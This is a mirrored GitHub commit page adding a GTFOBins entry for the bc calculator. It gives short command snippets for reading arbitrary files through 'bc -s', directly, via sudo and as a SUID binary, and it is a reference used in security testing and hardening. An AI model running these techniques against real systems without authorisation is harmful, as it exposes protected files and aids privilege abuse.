mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-24 04:22:52 +01:00
Add bc
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
f6f4797356
commit
e637c45b84
20
_gtfobins/bc.md
Normal file
20
_gtfobins/bc.md
Normal file
@ -0,0 +1,20 @@
|
||||
---
|
||||
|
||||
description: The file content is actually parsed and appears as error messages, thus it might not be suitable to read arbitray binary files.
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
bc -s $LFILE
|
||||
quit
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sudo bc -s $LFILE
|
||||
quit
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
./bc -s $LFILE
|
||||
quit
|
||||
---
|
Loading…
Reference in New Issue
Block a user